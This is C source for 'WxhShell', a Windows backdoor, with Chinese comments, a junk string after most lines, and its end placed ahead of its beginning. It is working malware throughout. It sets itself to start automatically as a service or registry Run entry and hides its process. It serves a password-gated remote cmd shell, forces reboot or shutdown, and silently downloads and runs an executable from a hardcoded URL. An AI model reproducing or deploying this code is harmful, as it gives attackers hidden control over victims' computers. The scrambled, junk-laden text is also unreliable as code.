    if(Boot(SHUTDOWN)) uXvE>VpJG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +$xw0)|  
    else { 7i'clB9!  
    closesocket(wsh); )s4: &!  
    ExitThread(0); N}<!k#d E  
    } ~ 4Mz:h^  
    break; <|]i3_Z  
    } U2tgBF?)A  
  // 获取shell r`.Bj0  
  case 's': { j]` hy"  
    CmdShell(wsh); ~D`R"vzw=  
    closesocket(wsh); uFhPNR2l  
    ExitThread(0); jTZi< Y:bB  
    break; VUP. \Vry  
  } VS_\bIC  
  // 退出 q?)5yukeF  
  case 'x': {  TU6YS<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aY;34SF  
    CloseIt(wsh); x]?V*Jz  
    break; <eP,/H  
    } Uovna:"  
  // 离开 3Zs0W{OxU  
  case 'q': { X+<9 -]=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9`5.0**  
    closesocket(wsh); \2#K {  
    WSACleanup(); Pn4jI(  
    exit(1); Z_<NUPE  
    break; +2}Ar<elP  
        } R>1oF]w  
  } i,% N#  
  } vjh'<5w9Wi  
vpOGyvI  
  // 提示信息 ^k{/Yl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g>eWX*Pa|  
} i_+e&Bjd4j  
  } vRD(* S9^  
VS>hi~j  
  return; Ov4 [gHy&  
} 4>fj @X(3  
g>'6"p;  
// shell模块句柄 Raetz>rL  
int CmdShell(SOCKET sock) c,ct=m.|6A  
{ &B=z*m  
STARTUPINFO si; wV{j CQ  
ZeroMemory(&si,sizeof(si)); <:N$ $n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )8n?.keq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w40*vBz  
PROCESS_INFORMATION ProcessInfo; B|+% ExT7  
char cmdline[]="cmd"; yd'cLZd<}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B# .xs>{N  
  return 0; H4{7,n  
} 'O9Yu{M  
LWSy"Cs*  
// 自身启动模式 3m2y<l<  
int StartFromService(void) dl |$pm@x  
{ h.Sbds  
typedef struct s|Vs#o.P)  
{ dVGcth;  
  DWORD ExitStatus; Z=%u:K}[  
  DWORD PebBaseAddress; '%:E4oI  
  DWORD AffinityMask; 1rU\ !GfR  
  DWORD BasePriority; B6\/xKmv?8  
  ULONG UniqueProcessId; S$R=!3* "V  
  ULONG InheritedFromUniqueProcessId; eb,QT\/G  
}   PROCESS_BASIC_INFORMATION; JHVndK4L  
R$MR|  
PROCNTQSIP NtQueryInformationProcess; &hi][Pt  
IM[=]j.?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wN6sica|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EG8z&^O x  
;ByCtVm2  
  HANDLE             hProcess; #q9BU:  
  PROCESS_BASIC_INFORMATION pbi; N[O_}_  
9o6qN1A0g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g u' +kw  
  if(NULL == hInst ) return 0; 7)Tix7:9S;  
#^ .G^d(=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `ZP[-:`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j.+,c#hFo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IBNb!mPu%  
CUjRz5L  
  if (!NtQueryInformationProcess) return 0; 4j i#Q  
{4p7r7n'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $U. 2"  
  if(!hProcess) return 0; dr(e)eD(R>  
8 ?:W{GAo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I<xcVY9L  
KK-+vq  
  CloseHandle(hProcess); 6Q+VW_~  
!ueh%V Ky  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?6I`$ &OA  
if(hProcess==NULL) return 0; A^0-%Ygl  
gB,Q4acjj  
HMODULE hMod; 4xFAFK~lx  
char procName[255]; @:!%Z`  
unsigned long cbNeeded; miCY?=N`  
7Bf4ojKt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o(t`XE['<  
&qa16bz  
  CloseHandle(hProcess); ZC^?ng  
*S4&V<W>  
if(strstr(procName,"services")) return 1; // 以服务启动 6+PP(>em  
dPgA~~  
  return 0; // 注册表启动 y6s/S.  
} SxC(:k2b;  
Mz lE  
// 主模块 \(5Bi3PA}  
int StartWxhshell(LPSTR lpCmdLine) nRX<$OzTV  
{ 8@T0]vH&  
  SOCKET wsl; G~Y#l@8M+  
BOOL val=TRUE; Xa&:Hg<  
  int port=0; U[#q"'P|l  
  struct sockaddr_in door; kll ,^A  
/T 6Te<68^  
  if(wscfg.ws_autoins) Install(); 'XSHl?+q  
)oS~ish  
port=atoi(lpCmdLine); d{C8}U  
U2JxzHXZ  
if(port<=0) port=wscfg.ws_port; y>RqA *J  
X<1ymb3  
  WSADATA data; [FWB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W}wd?WIps  
H@k$sZ.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^1--7#H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \OK}DhY#  
  door.sin_family = AF_INET; lw4#C`bx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6b!1j,\Vx  
  door.sin_port = htons(port); }yCgd 5+_  
uuCVI2|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,l\D@<F  
closesocket(wsl); M49Hm[0(  
return 1; VC!g,LU|-  
} z]O>`50Q  
2Ju,P_<dt  
  if(listen(wsl,2) == INVALID_SOCKET) { 6|%HCxWO  
closesocket(wsl); Ax!fvcsN  
return 1; 2L1Azx  
} 8}^ym^H|j  
  Wxhshell(wsl); |e3YTLsI  
  WSACleanup(); RWn#"~  
"xD5>(|^+Q  
return 0; r1$x}I#Zv  
B_.>Q8tK;  
} / pR,l5  
+,9Mufh  
// 以NT服务方式启动 '9|R7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^}GR!990  
{ b55G1w  
DWORD   status = 0; q?&JS  
  DWORD   specificError = 0xfffffff; [3W+h1  
uRw%`J4H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j7HOh|q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "QY~V{u5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jH4Wu`r;m  
  serviceStatus.dwWin32ExitCode     = 0; ,k/<Nv;  
  serviceStatus.dwServiceSpecificExitCode = 0; Y[fbmn^  
  serviceStatus.dwCheckPoint       = 0; /bqJ6$  
  serviceStatus.dwWaitHint       = 0; h3A|nd>\  
j;*= ^s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  aK9zw  
  if (hServiceStatusHandle==0) return; MK4CggoC  
'}NH$ KA  
status = GetLastError(); c-a;nAR  
  if (status!=NO_ERROR) %M05& <  
{ >[g'i+{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7jF2m'(  
    serviceStatus.dwCheckPoint       = 0; 2?owXcbx  
    serviceStatus.dwWaitHint       = 0; oga0h'  
    serviceStatus.dwWin32ExitCode     = status; 5wMEp" YHE  
    serviceStatus.dwServiceSpecificExitCode = specificError; faI4`.i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Qp>Q-+e0  
    return; H0mDs7  
  } _n< @Jk~  
=TXc - J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k8"[)lDc.  
  serviceStatus.dwCheckPoint       = 0; kc:2ID&  
  serviceStatus.dwWaitHint       = 0; &oiBMk`*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z[_Gg8e  
} YA^g[,  
,[Z;"wE  
// 处理NT服务事件,比如:启动、停止 `#N7ym;s@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a^&3?3   
{ i'vjvc~  
switch(fdwControl) q]t^6m&-  
{ !GVxQll[f  
case SERVICE_CONTROL_STOP: ' 9  
  serviceStatus.dwWin32ExitCode = 0; Yy0m &3[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <8/lHQ^\)  
  serviceStatus.dwCheckPoint   = 0; w+ tO@  
  serviceStatus.dwWaitHint     = 0; rx;zd?  
  { k$ } 6Qd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  WR"p2=  
  } x68s$H  
  return; ~# |p=Y  
case SERVICE_CONTROL_PAUSE: /d-7n|#E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *CXVA&?  
  break; rk(0w|zR+  
case SERVICE_CONTROL_CONTINUE: FKB)o7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >pA9'KWs]  
  break;  /=7[Q  
case SERVICE_CONTROL_INTERROGATE: ^zaN?0%S33  
  break; @;z}Hk0A  
}; 'GcZxF0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \>-%OcYlM  
} U z6XQskX  
mCx6$jz  
// 标准应用程序主函数 O k~\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $eBE pN  
{ 7gQ~"Q  
I^6zUVH  
// 获取操作系统版本 Q}jl1dIq  
OsIsNt=GetOsVer(); [HENk34  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uJ$!lyJ6L  
!xK`:[B  
  // 从命令行安装 e: :H1V  
  if(strpbrk(lpCmdLine,"iI")) Install(); BK]q^.7+:  
oMi"X"C:q  
  // 下载执行文件 ,!4 (B1@  
if(wscfg.ws_downexe) { /fc@=CO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0qV!-i  
  WinExec(wscfg.ws_filenam,SW_HIDE); {GiR-q{t  
} Wc$1Re{z  
Ie?C<(8Ul  
if(!OsIsNt) {  `#lNur\x  
// 如果时win9x,隐藏进程并且设置为注册表启动 D?Q{&6p  
HideProc(); z7J2O  
StartWxhshell(lpCmdLine); u-. _;  
} #`4ma:Pj  
else jM3{A;U2  
  if(StartFromService()) <&rvv4*H  
  // 以服务方式启动 YvK8;<k@-?  
  StartServiceCtrlDispatcher(DispatchTable); ?79ABm a  
else Tce2]"^;  
  // 普通方式启动 `D%bZ%25c  
  StartWxhshell(lpCmdLine); U{o0Posg  
Hd)4_ uBt  
return 0; HIi 5kv]}|  
} O=St}B\!m  
OPwj*b:-m  
( Qw"^lE3  
$9\!CPZ2  
=========================================== ;HJ|)PN5L  
g+k0Fw]!  
BS;_l"?  
e;<=aa)}?  
sD* 8:Hl  
LQs2!]?HT  
" 6nRD:CH)X  
:WT O*M  
#include <stdio.h> \qqt/  
#include <string.h> Hay`lA2@  
#include <windows.h> ?t+Kp 9@aZ  
#include <winsock2.h> ,m:YZ;J(Xd  
#include <winsvc.h> vd9><W  
#include <urlmon.h> /nRi19a%xU  
eUA6X ,I  
#pragma comment (lib, "Ws2_32.lib") ]`&ws  
#pragma comment (lib, "urlmon.lib") Nd*zSsVlq  
A|8(3PiP  
#define MAX_USER   100 // 最大客户端连接数 o+(.Pb  
#define BUF_SOCK   200 // sock buffer W9T,1h5x  
#define KEY_BUFF   255 // 输入 buffer y!Q&;xO+!  
kQ~*iY  
#define REBOOT     0   // 重启 $aX}i4F  
#define SHUTDOWN   1   // 关机 BXVmt!S5F  
D`LcL|nmH  
#define DEF_PORT   5000 // 监听端口 ,.uPlnB_  
CC>]Gc7  
#define REG_LEN     16   // 注册表键长度 wg*2mo  
#define SVC_LEN     80   // NT服务名长度 },'2j  
hof:+aW  
// 从dll定义API ajW[}/)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _.OajE\T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^'~+w3M@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }}v;V*_V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [|\~-6"7N|  
8|`4D 'Ln  
// wxhshell配置信息 qde.;Yv9  
struct WSCFG { ]z,W1Zs?  
  int ws_port;         // 监听端口 &<-Sxjj  
  char ws_passstr[REG_LEN]; // 口令 <5A(rDij  
  int ws_autoins;       // 安装标记, 1=yes 0=no B8:_yAv o  
  char ws_regname[REG_LEN]; // 注册表键名 &'UY V>  
  char ws_svcname[REG_LEN]; // 服务名 aO?(ZL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e/E fWwqt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {SW}S_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ym5q#f)|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no { D1.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T2 0dZ8{y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]C-hl}iq  
i3*S`/]p  
}; " ;cWK29\f  
nW3`Z1kq})  
// default Wxhshell configuration ?C6iJnm  
struct WSCFG wscfg={DEF_PORT, ojzO?z  
    "xuhuanlingzhe", 2![.Kbqa%  
    1, AW4N#gt8',  
    "Wxhshell", 'c\zW mAZ  
    "Wxhshell", JB a:))lw  
            "WxhShell Service", h&||Ql1  
    "Wrsky Windows CmdShell Service", impzqQlZ,  
    "Please Input Your Password: ", c.Pyt  
  1, Q d]5e  
  "http://www.wrsky.com/wxhshell.exe", ;$ =`BI)  
  "Wxhshell.exe" Jeyy Z=  
    }; /+ vl({vV  
Hm4:m$=p4  
// 消息定义模块 +s c|PB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J.mEOo!>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HjV3PFg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -4o6 OkK<  
char *msg_ws_ext="\n\rExit."; w%)=`'s_  
char *msg_ws_end="\n\rQuit."; 6|t4\'  
char *msg_ws_boot="\n\rReboot..."; BDyOX6  
char *msg_ws_poff="\n\rShutdown..."; iVzv/Lqm1  
char *msg_ws_down="\n\rSave to "; ~oh=QakW  
-@-cG\{  
char *msg_ws_err="\n\rErr!"; 2P~zYdjS  
char *msg_ws_ok="\n\rOK!"; M;={]w@n  
b2. xJ4  
char ExeFile[MAX_PATH]; {n=)<w  
int nUser = 0;  z@^l1)m  
HANDLE handles[MAX_USER]; 0m6Vf x  
int OsIsNt; Ps(3X@  
CE:TQzg  
SERVICE_STATUS       serviceStatus; *[(O&L&0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fP%hr gL  
>Qz#;HI  
// 函数声明 $ckX H,l_  
int Install(void); 9 W> <m[O  
int Uninstall(void); |j$&W;yC  
int DownloadFile(char *sURL, SOCKET wsh); IY?[0S  
int Boot(int flag); G*ZHLLO4S\  
void HideProc(void); &!vJ3:  
int GetOsVer(void); kN >%y&cK  
int Wxhshell(SOCKET wsl); c%r?tKG6  
void TalkWithClient(void *cs); }kdYR#{s  
int CmdShell(SOCKET sock); V}=9S@$o  
int StartFromService(void); Id(o6j^J_  
int StartWxhshell(LPSTR lpCmdLine); =xWZJ:UnU  
\zw0*;&U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {3]g3mj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hWwh`Vw%  
1+v&SU  
// 数据结构和表定义 *<#jr  
SERVICE_TABLE_ENTRY DispatchTable[] = Tk9u+;=6$  
{ >nkd U  
{wscfg.ws_svcname, NTServiceMain}, MQY^#N  
{NULL, NULL} R_:47.qq  
}; a33}CVG-e3  
',?v7&  
// 自我安装 2?58=i%b  
int Install(void) tzJdUZJ  
{ \,i9m9;y  
  char svExeFile[MAX_PATH]; /<vbv  
  HKEY key; 3:X3n\z  
  strcpy(svExeFile,ExeFile); m+||t  
>xws  
// 如果是win9x系统,修改注册表设为自启动 gEbe6!; q3  
if(!OsIsNt) { a H'iW)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }(z[ rZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6 uW?xB9  
  RegCloseKey(key); ,J"6(nk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EFu2&P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '{p/F $  
  RegCloseKey(key); j1%o+#df  
  return 0; d76k1-m\o  
    } 4=td}%  
  } CTQF+Oe8O  
} [URo#  
else { hC?:XVt  
b[<r+e8  
// 如果是NT以上系统,安装为系统服务 `@q[&^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u~7mH  
if (schSCManager!=0) xV[X#.3  
{ Nl,M9  
  SC_HANDLE schService = CreateService xQ9P'ru  
  ( M?Tb9c?`  
  schSCManager, T_|%n F-+  
  wscfg.ws_svcname, orYE&  
  wscfg.ws_svcdisp, #'fh'$5"  
  SERVICE_ALL_ACCESS, t=o0 #jo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x7)j?2  
  SERVICE_AUTO_START, <|[G=GA\S!  
  SERVICE_ERROR_NORMAL, 5drc8_fZ  
  svExeFile, @H2c77%  
  NULL, DW&%"$2  
  NULL, CRf!tsj@  
  NULL, F]DRT6)  
  NULL, W~(@*H  
  NULL "{1`~pDj?  
  ); 8TGO6oY+=  
  if (schService!=0) V TQ V]>|  
  { UjxEbk5>^  
  CloseServiceHandle(schService); . >[d:0  
  CloseServiceHandle(schSCManager); cih@: =Qy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v7&oHOk!  
  strcat(svExeFile,wscfg.ws_svcname); ["Mq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B,@geJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Dn~r~aR$g  
  RegCloseKey(key); G66sP w  
  return 0; "S)2<tV  
    } {q f gvu  
  } /8(c^  
  CloseServiceHandle(schSCManager); ~XGBE  
} I[,tf!  
} dCv@l7hE  
&HBqweI  
return 1; i3#To}g5V  
} idW=  
b5K6F:D22  
// 自我卸载 I,;@\  
int Uninstall(void) P"d7Af  
{ HYm |  
  HKEY key; [mwJ*GJ-  
81Ixs Qt  
if(!OsIsNt) { 3SI:su  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jej|B#?`  
  RegDeleteValue(key,wscfg.ws_regname); `2N&{(  
  RegCloseKey(key); @a-u_|3q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hbl%<ItI49  
  RegDeleteValue(key,wscfg.ws_regname); (1pI#H"f9  
  RegCloseKey(key); /Iht,@%E  
  return 0; \1|]?ZQ\K  
  } aK>5r^7S  
} !kCMw%[  
} b-4g HW  
else { 7OuzQzhcK  
n[DQ5l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); & D@/_m $  
if (schSCManager!=0) n.9k<  
{ vC$Q4>m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T,N"8N{K"  
  if (schService!=0) rHe*/nN%*  
  { [MLJs-*   
  if(DeleteService(schService)!=0) { >d#oJ?goX  
  CloseServiceHandle(schService); YDh6XD<Z  
  CloseServiceHandle(schSCManager); }xhat,9  
  return 0; 5'iJN$7  
  } mBW E^  
  CloseServiceHandle(schService); 7 0pt5O3]  
  } eyq\a'tyB  
  CloseServiceHandle(schSCManager); YbCqZqk  
} >! u@>  
} 1K(a=o[Ce  
S}fU2Wi  
return 1; .gY}}Q  
} }{FKs!(4  
P$l-p'U-  
// 从指定url下载文件 yLv jfP1  
int DownloadFile(char *sURL, SOCKET wsh) "mT95x\NA\  
{ "s[Y$!#  
  HRESULT hr; ;/tZsE{  
char seps[]= "/"; Qdepzo>E  
char *token; W5'07N^  
char *file; b _Q:v&  
char myURL[MAX_PATH]; C\.mv|aW~  
char myFILE[MAX_PATH]; n =SY66  
jC_7cAsl  
strcpy(myURL,sURL); bOIVe  
  token=strtok(myURL,seps); 6AS'MD%&  
  while(token!=NULL) ?l\1n,!:8  
  { DGfhS`X  
    file=token; *qx<bY@F  
  token=strtok(NULL,seps); *Nfn6lVB  
  } \Xy]z  
CR*9-Y93  
GetCurrentDirectory(MAX_PATH,myFILE); Cjvgf .>$  
strcat(myFILE, "\\"); $lJu2omi1  
strcat(myFILE, file); agQ5%t#  
  send(wsh,myFILE,strlen(myFILE),0); "v.]s;g  
send(wsh,"...",3,0); P<+y%g(({  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m3|KIUP  
  if(hr==S_OK) %y@iA91K  
return 0; @\~qXz{6J  
else !A R$JUnX  
return 1; 6Mpbmfr  
bXN-q!  
} &5 *)r@+  
TF\<`}akX  
// 系统电源模块 sOyWsXd+R'  
int Boot(int flag) iz|mJUx  
{ w1zI"G~4/Q  
  HANDLE hToken; `i{k^Q  
  TOKEN_PRIVILEGES tkp; e"jA#Y #  
Y~RZf /`  
  if(OsIsNt) { c[=%v]j:u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m7:E7 3:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); + n1jP<[<N  
    tkp.PrivilegeCount = 1; [V#"7O vl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A<6V$e$:2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )9,*s !)9  
if(flag==REBOOT) { >$.u|a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YK# QH"}  
  return 0; JOj\#!\>k0  
} 5io7!%  
else { q.(p.uD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >40B Fxc  
  return 0; T;-Zl[H  
} "Y&+J@]  
  } r#{r]q_E*  
  else { tVx.J'"Y  
if(flag==REBOOT) { T7;)HFGeW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y$)gj4k/D  
  return 0; Q9K+k*?{N  
} 0F'75  
else { CK e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]{9oB-;,  
  return 0; v{rc5 ]\R  
} "?j|;p@!>  
} >Kl78w:  
-X#J<u T/  
return 1; ;F&wGe  
} kO<`RHlX=  
mRCgKW<  
// win9x进程隐藏模块 R|Ft@]  
void HideProc(void) =#XsY,r  
{ A!v-[AI[  
hp(n;(OR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LvpHR#K)F5  
  if ( hKernel != NULL ) T0_9:I`&  
  { wAHb 5>!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); syh0E= If_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |-7<?aw"  
    FreeLibrary(hKernel); GS{:7%=j  
  } 6RZ[X[R[}  
4Uz:zB  
return; #e%.z+7I  
} aMTY{  
]P0DPea  
// 获取操作系统版本 C# r_qn  
int GetOsVer(void) *f8,R"]-g  
{ C!w@Naj  
  OSVERSIONINFO winfo; T4 SByX9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "xdJ9Z-B  
  GetVersionEx(&winfo); xsRMF&8L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /3%]Ggwe  
  return 1; /2u;w !oi.  
  else v\Y;)/!  
  return 0; '$)Wp_  
} mxHNK4/  
_}]o~  
// 客户端句柄模块 ZP)=2'RY  
int Wxhshell(SOCKET wsl) dh/:H/k kR  
{ (Cp:NS  
  SOCKET wsh; M O5fu!  
  struct sockaddr_in client; K! /E0G&  
  DWORD myID; ./<3jf :  
F dv&kK!  
  while(nUser<MAX_USER) whKr3)  
{ >/n5=RWh  
  int nSize=sizeof(client); V`69%35*@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >1ZMQgCG  
  if(wsh==INVALID_SOCKET) return 1; cXJgdBwo  
jn\\,n"6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JXj`  
if(handles[nUser]==0) ^ +{ ~ ^y7  
  closesocket(wsh); 7\ff=L-b  
else }VR&*UJE  
  nUser++; M _U$I7  
  } BHj]w*Ov  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9+QLcb  
NtTLvO6  
  return 0; =mqV&FgRo  
} l O, 2  
j<deTK;.  
// 关闭 socket b&~uK"O'7d  
void CloseIt(SOCKET wsh) #Mbt%m  
{ !^axO  
closesocket(wsh); #bu`W!p}  
nUser--; @YwaOc_%  
ExitThread(0); D~f.)kkC4  
} .M>u:,v  
RAE|eTnna  
// 客户端请求句柄 Q X@&~  
void TalkWithClient(void *cs) j{_MDE7N  
{ M/V >25`  
+G/~v`Bv  
  SOCKET wsh=(SOCKET)cs; 3"[ KXzn  
  char pwd[SVC_LEN]; s* 9tWSd  
  char cmd[KEY_BUFF]; <i`EP/x  
char chr[1]; c<&+[{|  
int i,j; 4kXx(FE  
1Y9Ye?~jd  
  while (nUser < MAX_USER) { {bETHPCf  
M~662]Ekk  
if(wscfg.ws_passstr) { FeV=4tsy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UjKHGsDi4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D'nV &m  
  //ZeroMemory(pwd,KEY_BUFF); &I(|aZx?J  
      i=0; 0[3b,  
  while(i<SVC_LEN) { 1}jE?{V*  
X<9DE!/)  
  // 设置超时 q=nMZVVlF(  
  fd_set FdRead; 7DYD+N+T  
  struct timeval TimeOut; h y[_  
  FD_ZERO(&FdRead); DBmcvC  
  FD_SET(wsh,&FdRead); *R~oA`  
  TimeOut.tv_sec=8; *fd` .}  
  TimeOut.tv_usec=0; }4 $EN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D 0n2r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D[-Ct  
0)2lBfHQ&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wG{o bsL.!  
  pwd=chr[0]; BK /;H G  
  if(chr[0]==0xd || chr[0]==0xa) { v>R.M"f  
  pwd=0; V)(pe #P  
  break; w@:o:yLS  
  } [\.>BK  
  i++; gdG: &{|x  
    } ))KsQJ"V  
Z#J{tXZc  
  // 如果是非法用户,关闭 socket ^cAJCbp7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "   c  
} Ck^=H  
1$Hf`h2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (u'/tNGS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wUV%NZB  
LB{a&I LG  
while(1) { 8 Zj>|u  
6nq.~f2`  
  ZeroMemory(cmd,KEY_BUFF); ',&MYm\  
!<X_XA  
      // 自动支持客户端 telnet标准   ?,8b-U#A1  
  j=0; .A `:o  
  while(j<KEY_BUFF) { blPC"3}3Vd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ol-'2l  
  cmd[j]=chr[0]; h">X!I  
  if(chr[0]==0xa || chr[0]==0xd) { h=U 4  
  cmd[j]=0; +_}2zc4  
  break; cXCczqabv  
  } v*^2[pf  
  j++; 5g5pzww  
    } ,pG63&?j  
'#Fh J%x  
  // 下载文件 U92hv~\  
  if(strstr(cmd,"http://")) { #62ww-E~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T a[74;VO  
  if(DownloadFile(cmd,wsh)) @"EX%v.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;yXnPAtJ  
  else =N0cz%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^R$dG[Qf  
  } Arv8P P^'  
  else { zF$wz1 %  
1e+?O7/  
    switch(cmd[0]) { 1&As:kv5I  
  3//v{ce1]  
  // 帮助 N}h%8\  
  case '?': { K;ML'  
